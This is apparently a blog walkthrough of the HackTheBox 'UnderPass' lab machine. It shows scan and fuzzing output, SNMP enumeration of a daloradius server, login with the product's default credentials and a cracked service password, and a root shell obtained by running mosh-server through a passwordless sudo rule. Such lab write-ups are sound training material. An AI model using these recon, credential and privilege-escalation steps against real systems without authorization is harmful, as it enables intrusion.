My UnderPass Runthrough - Learnings
Challenge-Info
- Name: UnderPass
- Origin: HackTheBox
- Difficulty: Easy
- Timespan: 06.05.2025-08.05.2025
TL;DR
Quick Scan: Only standard ports 80 and 22, same for fuzzing (only returning 403 results that lead us nowhere); seems boring at first.
Real Win: UDP, SNMP, daloradius... and default creds, classic.
Tools Used: Nmap, SNMPWalk, ffuf, gobuster, mosh.
Rooted via: mosh-server (sudo with no password!)
Need the One-Liners?
I've collected the exact commands I used in this box into a quick-reference snippet, just hit me up via inquisition@niklas-heringer.com.
Walkthrough
Some base work got me started in enumeration:
nmap -sS --top-ports 1500 10.129.1.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 06:19 CDT
Nmap scan report for 10.129.1.181
Host is up (0.0079s latency).
Not shown: 1498 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds
Gobuster Dive
gobuster dir -u http://10.129.1.181/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.1.181/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.129.1.181/.hta (Status: 403) [Size: 277]
http://10.129.1.181/.hta.php (Status: 403) [Size: 277]
http://10.129.1.181/.hta.html (Status: 403) [Size: 277]
http://10.129.1.181/.hta.txt (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess.html (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess.php (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess.txt (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd.php (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd.html (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd.txt (Status: 403) [Size: 277]
http://10.129.1.181/.html (Status: 403) [Size: 277]
http://10.129.1.181/.php (Status: 403) [Size: 277]
http://10.129.1.181/index.html (Status: 200) [Size: 10671]
http://10.129.1.181/index.html (Status: 200) [Size: 10671]
http://10.129.1.181/server-status (Status: 403) [Size: 277]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
Nothing of interest that is not restricted.
I tried digging deeper using my own go-to resources, yet often times you'll find yourself thinking in a whole wrong direction:
FFUF → Ran a few directory fuzzing combos from my list, but hit nothing interesting.
NSE → Tried a couple of service detection and version scripts. No joy.
Searchsploit → Checked for known Apache 2.4.52 exploits, nothing applicable.
looks not that promising:
searchsploit apache 2.4.52
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code | php/remote/29316.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of S | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/764.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' Fi | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Lis | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | multiple/remote/6229.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | unix/remote/14489.c
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial o | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local Fil | linux/remote/34.pl
---------------------------------------------- ---------------------------------
Shellcodes: No Results
Misstep
I forgot to consider scanning for UDP - beginner's mistake.
nmap -sU 10.129.245.8 --top-ports 500
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-08 02:38 CDT
Nmap scan report for 10.129.245.8
Host is up (0.037s latency).
Not shown: 496 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
1812/udp open|filtered radius
1813/udp open|filtered radacct
Nmap done: 1 IP address (1 host up) scanned in 545.22 seconds
What is SNMP (and why should we care?)
SNMP (Simple Network Management Protocol) is a UDP-based protocol used to monitor and manage network devices like routers, servers, switches, and even printers.
- Port 161: used for requests (e.g., enumeration via
snmpwalk) - Port 162: used for traps (alerts from devices)
- Works via Agents on devices, managed by a central SNMP Manager
- Devices store data in a structured MIB (Management Information Base)
Why it matters in pentesting:
- SNMP v1 and v2c → no encryption, often misconfigured
- Default community string
publicis read-only access - If
privateworks → read-write = config changes, potential RCE - Most admins forget to change these defaults. Bad for them, good for us.
How to test SNMP
snmpwalk -v2c -c public <target-ip>
Options
-v1or-v2c→ version (try both)-c <community>→ usuallypublic(read) orprivate(write)- Optional: Add an OID to focus your query (like
.1.3.6.1.2.1.1for system info)
Useful OIDs to try
.1.3.6.1.2.1.1→ System info (hostname, uptime, etc.).1.3.6.1.2.1.4.20.1.1→ IP addresses.1.3.6.1.2.1.25.4.2.1.2→ Running processes.1.3.6.1.2.1.6.13.1.3→ Open TCP ports.1.3.6.1.2.1.25.6.3.1.2→ Installed software
Bruteforcing SNMP (if public fails)
onesixtyone -c wordlist.txt <target-ip>
This checks a list of possible community strings; often fruitful on internal boxes.
TL;DR
- Try
snmpwalkwithpublic; it's silent, quick, and sometimes a goldmine - If
snmpsetworks withprivate→ you're holding a remote control - SNMP is great for: fingerprinting, host discovery, finding users/services, and potential LPE vectors
and so i did:
snmpwalk -v2c -c public 10.129.245.8
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (144876) 0:24:08.76
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (146053) 0:24:20.53
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 05 08 07 38 09 00 2B 00 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 212
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
Key Info Leaked via SNMP
1. OS & Kernel: Linux underpass 5.15.0-126-generic → Ubuntu-based. Check for local privilege escalation (LPE) vulnerabilities for Kernel 5.15.
2. Hostname & Service: UnDerPass.htb is the only daloradius server in the basin! → Indicates a running daloradius instance (FreeRADIUS web UI), known for default creds and SQLi. → underpass.htb should be added to /etc/hosts.
3. User Identification: steve@underpass.htb → Likely username (steve) for later login attempts.
4. Location: “Nevada, U.S.A. but not Vegas” → Not security-relevant, but good for host fingerprinting.
5. System MIBs: E.g. root=/dev/mapper/ubuntu--vg-ubuntu--lv → Confirms use of LVM – useful for later enumeration or privesc.
→ Added underpass.htb to /etc/hosts and moved on to explore the web interface.
VHOST fuzzing was without results:
ffuf -u http://10.129.245.8 -H "Host: FUZZ.underpass.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 10671
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.245.8
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.underpass.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 10671
________________________________________________
#Keine Ergebnisse
What a smarter move would've been: simply reading docs
Instead of aimlessly fuzzing, I should’ve checked the daloradius documentation sooner. From the GitHub repo → github.com/lirantal/daloradius, I found the path:
/app/operators/
Which led to the login page:
http://underpass.htb/daloradius/app/operators/login.php
Default Credentials (from the docs)
Username: administrator
Password: radius
Later in the user list, I found valid creds:
User: svcMosh
Password: underwaterfriends (hash cracked via Crackstation)
→ Used these to log in via SSH.
Post-User Enumeration: Looking for Root
After grabbing the user flag, I started checking typical privesc paths.
find /opt -type f -exec ls -l {} \;
svcMosh@underpass:~$ find /opt -user root
/opt
Turns out /opt was completely empty, not even breadcrumbs. Likely not the way forward.
Service Discovery with netstat
Next, I listed listening services:
netstat -anlp | grep LIST
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
unix 2 [ ACC ] STREAM LISTENING 57727 2002/systemd /run/user/1002/systemd/private
unix 2 [ ACC ] STREAM LISTENING 57734 2002/systemd /run/user/1002/bus
unix 2 [ ACC ] STREAM LISTENING 57736 2002/systemd /run/user/1002/gnupg/S.dirmngr
unix 2 [ ACC ] STREAM LISTENING 57738 2002/systemd /run/user/1002/gnupg/S.gpg-agent.browser
unix 2 [ ACC ] STREAM LISTENING 18122 - @/org/kernel/linux/storage/multipathd
unix 2 [ ACC ] STREAM LISTENING 57740 2002/systemd /run/user/1002/gnupg/S.gpg-agent.extra
unix 2 [ ACC ] STREAM LISTENING 57742 2002/systemd /run/user/1002/gnupg/S.gpg-agent.ssh
unix 2 [ ACC ] STREAM LISTENING 57744 2002/systemd /run/user/1002/gnupg/S.gpg-agent
unix 2 [ ACC ] STREAM LISTENING 57746 2002/systemd /run/user/1002/pk-debconf-socket
unix 2 [ ACC ] STREAM LISTENING 21651 - /run/systemd/resolve/io.systemd.Resolve
unix 2 [ ACC ] STREAM LISTENING 23174 - /run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 21716 - /run/uuidd/request
unix 2 [ ACC ] STREAM LISTENING 21730 - /var/run/vmware/guestServicePipe
unix 2 [ ACC ] STREAM LISTENING 25134 - /var/agentx/master
unix 2 [ ACC ] STREAM LISTENING 21813 - /run/irqbalance/irqbalance825.sock
unix 2 [ ACC ] STREAM LISTENING 25208 - /run/mysqld/mysqld.sock
unix 2 [ ACC ] STREAM LISTENING 18109 - /run/systemd/private
unix 2 [ ACC ] STREAM LISTENING 18111 - /run/systemd/userdb/io.systemd.DynamicUser
unix 2 [ ACC ] STREAM LISTENING 18112 - /run/systemd/io.system.ManagedOOM
unix 2 [ ACC ] STREAM LISTENING 18120 - /run/lvm/lvmpolld.socket
unix 2 [ ACC ] STREAM LISTENING 18125 - /run/systemd/fsck.progress
unix 2 [ ACC ] STREAM LISTENING 18136 - /run/systemd/journal/stdout
unix 2 [ ACC ] SEQPACKET LISTENING 18139 - /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 18939 - /run/systemd/journal/io.systemd.journal
unix 2 [ ACC ] STREAM LISTENING 21715 - @ISCSIADM_ABSTRACT_NAMESPACE
This showed:
3306/tcp open on 127.0.0.1: likely MySQL for daloradius; local only, not directly exploitable.
80/tcp and 22/tcp already known.
No exotic services or obvious dev ports exposed.
Why use netstat -anlp? It lists all open ports and listening services, which can hint at hidden apps or privilege escalation paths (e.g., daemons running as root, or local admin panels).
Privilege Escalation via mosh-server
Then came the breakthrough:
sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
svcMosh can run /usr/bin/mosh-server as root without a password.
What is mosh-server?
mosh-server is part of [Mosh](https://mosh.org/, a mobile-optimized SSH alternative.
It is automatically spawned by the Mosh client on connection.
Crucially: it launches a shell, and inherits the privileges of the user who runs it.
In this case: root, thanks to sudo.
More on this technique: HackingDream: Linux Privilege Escalation via mosh-server
Root Shell Command
mosh --server="sudo /usr/bin/mosh-server" localhost
This gave me a root shell and from there, the root flag.
What a nice box this was! See you guys around, stay healthy!
No spam, no sharing to third party. Only you and me.
Member discussion